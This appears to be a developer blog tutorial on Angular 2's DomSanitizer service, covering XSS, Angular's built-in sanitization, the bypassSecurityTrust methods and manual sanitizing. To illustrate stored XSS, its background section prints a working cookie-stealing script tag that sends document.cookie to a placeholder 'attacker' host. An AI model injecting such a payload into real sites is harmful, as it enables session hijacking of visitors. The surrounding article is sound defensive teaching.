Angular 2 Security — The DomSanitizer Service

By: Netanel Basal (Angular Expert) and Yaron Biton, misterBIT.co.il CTO

Background:

Cross-site Scripting or XSS is probably the most common website security vulnerability. It enables an attacker to inject client-side script into web pages viewed by other users.

Example of real world attack:

Every blog on the Internet has a comment’s system that allows users to comment on articles. The comment posted through a regular HTML form:

Now suppose that an attacker sends the following code as a “comment” to the server:

<script>
 window.location=’http://attacker/?cookie='+document.cookie
</script>

If the website does not protect itself from Cross-site Scripting, this content will be saved to the database and all users visiting the page will redirect to the attacker URL.

A real attacker would, of course, create a much more malicious script, for example, the attacker could record keyboard events and send this information to a server that he owns.

This attack is only one example of XSS attack, but it can be in many forms, like in URL queries, href attributes, CSS and more…

You can read more on XSS in this great article.

How Angular 2 protect us from XSS:

Angular treats all values as untrusted by default. When a value is inserted into the DOM from a template, via property, attribute, style, class binding, or interpolation, Angular sanitizes and escapes untrusted values.

Sanitization modifies the input, turning it into a value that is safe to insert into the DOM. In Angular sanitization depends on context, a value that is harmless in CSS is potentially dangerous in a URL. you can read about the different contexts here.

For example when we try to do this:

Behind the scenes, Angular will sanitize the HTML input and escape the unsafe code, so in this case, the script will not run, only display on the screen as text.

Another example, if you will try to bind the src property of an Iframe (or a video):

You will get this error:

“unsafe value used in a resource URL context.”

Angular throwing this error because the <iframe src> attribute is a resource URL security context, because an untrusted source can, for example, smuggle in file downloads that unsuspecting users could execute.

Bypass Angular protection:

What if we need to Bypass Angular protection and trust the given value in our particular case?

In this case, we can use the DomSanitizer service. Let’s see how we can use this service in the above examples.

We are injecting the DomSanitizer service and execute the bypassSecurityTrustHtml method, because we are dealing with html context to Bypass security and trust the given value to be safe HTML.

Next, let’s see how we can use the Iframe src:

We are injecting the DomSanitizer service and execute the bypassSecurityTrustResourceUrl method to Bypass security and trust the given value to be a safe style URL.

Note: calling these methods with untrusted user data exposes your application to XSS security risks!

How to Sanitizes a value manually:

Sometimes you need to sanitizes a value manually, maybe you need to work with third-party APIs that contain unsafe methods. You can use the sanitize method. The sanitize method takes the context (as enum) that can be one of:

• SecurityContext.NONE
• SecurityContext.HTML
• SecurityContext.STYLE
• SecurityContext.SCRIPT
• SecurityContext.URL
• SecurityContext.RESOURCE_URL

and the value to sanitize.

That’s all.

☞ Please tap or click “︎❤” to help to promote this piece to others.